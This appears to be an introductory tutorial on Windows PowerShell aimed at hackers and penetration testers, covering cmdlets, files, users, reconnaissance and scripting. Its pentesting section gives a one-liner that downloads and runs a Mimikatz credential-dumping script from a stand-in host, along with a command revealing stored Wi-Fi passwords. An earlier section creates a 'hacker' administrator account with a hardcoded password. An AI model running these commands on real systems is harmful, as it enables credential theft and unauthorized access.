Windows Basics for Hackers, PowerShell

Introduction to PowerShell

PowerShell is a powerful command-line shell and scripting language designed for system administration and automation on Windows systems. For hackers and cybersecurity professionals, PowerShell provides deep access to the Windows environment, making it a crucial tool for both offensive and defensive security tasks.

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Why PowerShell Matters for Hackers

PowerShell is an essential tool for penetration testers and ethical hackers because:

• It provides full access to Windows management functions.
• It allows for automated tasks and exploits.
• It is natively installed on Windows, reducing the need for external tools.
• It can execute scripts remotely, making it valuable for lateral movement in networks.

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Getting Started with PowerShell

1. Launching PowerShell

You can open PowerShell in several ways:

• Via Start Menu: Search for “PowerShell” and select “Windows PowerShell.”
• Via Run Prompt: Press Win + R, type powershell, and press Enter.
• Via Command Prompt: Open CMD and type powershell.

To launch PowerShell as an administrator:

• Right-click on Windows PowerShell and choose “Run as administrator.”
• Alternatively, run Start-Process powershell -Verb runAs from an open PowerShell window.

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2. Understanding PowerShell Cmdlets

PowerShell uses cmdlets (command-lets) to perform actions. Cmdlets follow the Verb-Noun structure.

Basic Cmdlets:

• Get-Help: Displays help information about cmdlets.
  • Example: Get-Help Get-Process
• Get-Command: Lists all available commands.
  • Example: Get-Command -Noun Process
• Get-Process: Shows running processes.
  • Example: Get-Process | Sort-Object CPU -Descending
• Stop-Process: Terminates a running process.
  • Example: Stop-Process -Name notepad
• Get-Service: Lists services on the system.
  • Example: Get-Service | Where-Object { $_.Status -eq 'Running' }

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3. Working with Files and Directories

• Navigate Directories:
  • cd C:\Users\hacker moves to the hacker’s home directory.
• List Files:
  • Get-ChildItem C:\Users\hacker displays files and folders.
• Create a File:
  • New-Item -ItemType File -Path C:\Users\hacker\test.txt
• Delete a File:
  • Remove-Item C:\Users\hacker\test.txt

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4. Managing Users and Permissions

• List User Accounts:
  • Get-WmiObject Win32_UserAccount
• Create a New User:
  • New-LocalUser -Name "hacker" -Password (ConvertTo-SecureString "password123" -AsPlainText -Force) -FullName "Hacker User"
• Add User to Administrator Group:
  • Add-LocalGroupMember -Group "Administrators" -Member "hacker"
• Check User Privileges:
  • [System.Security.Principal.WindowsIdentity]::GetCurrent()

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5. Network and System Reconnaissance

• View Network Configuration:
  • Get-NetIPConfiguration
• List Open Network Connections:
  • Get-NetTCPConnection | Where-Object { $_.State -eq "Listen" }
• Retrieve System Information:
  • Get-ComputerInfo
• List Installed Software:
  • Get-WmiObject -Query "SELECT * FROM Win32_Product"

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6. Automating Tasks with Scripts

PowerShell scripts use the .ps1 file extension and can automate tasks such as:

Example: Simple PowerShell Script

# Create a log file and write system info
$logFile = "C:\Users\hacker\log.txt"
Get-ComputerInfo | Out-File -FilePath $logFile
Write-Host "System info saved to $logFile"

To run a script:

• Change execution policy: Set-ExecutionPolicy Unrestricted -Scope Process
• Run the script: .\script.ps1

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7. PowerShell for Pentesting

• Privilege Escalation Checks:
  • whoami /priv
• Retrieve Stored Wi-Fi Passwords:
  • netsh wlan show profile name="WiFiName" key=clear
• Dumping Credentials with Mimikatz (Requires Third-Party Tool):
  • Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://example.com/mimikatz.ps1')

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Why PowerShell is a Must-Know for Hackers

• Built-in Windows Tool: No need to install external software.
• Powerful Automation: Easily automate administrative and hacking tasks.
• Remote Capabilities: Execute scripts remotely using PowerShell Remoting.

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